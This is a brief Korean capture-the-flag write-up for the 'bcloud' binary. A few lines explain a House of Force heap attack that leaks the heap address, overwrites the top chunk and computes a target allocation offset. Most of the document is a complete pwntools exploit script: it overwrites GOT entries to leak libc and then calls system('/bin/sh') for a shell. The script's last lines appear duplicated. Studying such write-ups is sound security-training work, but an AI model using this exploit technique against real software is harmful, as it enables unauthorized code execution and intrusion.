간단한 house_of_force문제이다.
name을 입력하는 부분에서 heap 주소를 구할 수 있다.
그리고 Org와 Host를 입력하는 것을 잘 이용해 top_chunk를 덮을 수 있다.
Top_chunk를 덮었으므로 내가 원하는 주소를 할당받을수 있다.
32bit : “원하는 주소”-8-top_chunk주소
64bit : “원하는 주소”-16-top_chunk주소
note_size를 받는부분을 할당받아 note_list를 덮어서 적당히 exploit하면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | from pwn import * def new(size,content): sla('--->>','1') sla('content:\n',str(size)) sla('content:\n',content) def edit(idx,content): sla('>>','3') sla('id:\n',str(idx)) sla('content:\n',content) def delete(idx): sla('>>','4') sla('id:\n',str(idx)) def syn(): sla('>>','5') r=process('./bcloud') e=ELF('./bcloud') libc=e.libc sla=lambda x,y : r.sendlineafter(x,y) sa=lambda x,y : r.sendafter(x,y) ru=lambda x : r.recvuntil(x) sa('name:\n','A'*0x40) ru('A'*0x40) heap_base=u32(ru('!').replace('!','').ljust(4,'\x00'))-8 log.info(hex(heap_base)) sa('Org:\n','A'*0x40) sla('Host:\n',p32(0xffffffff)) heap_list=0x804B120 note_size=0x804B0A0 fake=note_size-0x8-(heap_base+0xd8)-4-4-7 new(fake,'\n') payload=p32(8)*10+p32(heap_base+0x98)+p32(heap_base+8) payload+=p64(0)*10+p32(e.got['free'])+p32(e.got['atoi'])*2 new(0x100,payload) edit(0,p32(e.plt['puts'])) delete(2) libc_leak=u32(r.recv(4).ljust(4,'\x00'))-libc.symbols['atoi'] log.info(hex(libc_leak)) edit(1,p32(libc_leak+libc.symbols['system'])) r.recvuntil('>>') r.sendline('/bin/sh') r.interactive() edit(0,p32(e.plt['puts'])) delete(2) libc_leak=u32(r.recv(4).ljust(4,'\x00'))-libc.symbols['atoi'] log.info(hex(libc_leak)) edit(1,p32(libc_leak+libc.symbols['system'])) r.recvuntil('>>') r.sendline('/bin/sh') r.interactive() | cs |